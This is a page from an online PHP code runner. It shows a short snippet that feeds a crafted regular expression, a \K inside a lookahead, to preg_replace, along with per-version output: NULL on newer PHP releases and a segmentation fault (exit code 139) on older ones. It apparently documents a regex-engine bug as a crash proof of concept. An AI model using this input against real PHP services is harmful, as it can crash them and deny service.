3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $regex = '/(.a|aaa)(?=xyz\Kaa)./'; $subject = "aaaaxyzaabaa"; // Comment/uncomment below as wanted. // All 3 functions are vulnerable (note, other functions are affected as well) $x=preg_replace($regex, '\0',$subject); var_dump($x);
based on FkPUK
Output for 5.4.45, 5.5.29 - 5.5.35, 5.6.13 - 7.2.0
NULL
Output for 5.3.18 - 5.4.44, 5.5.24 - 5.5.28, 5.6.8 - 5.6.12

Process exited with code 139.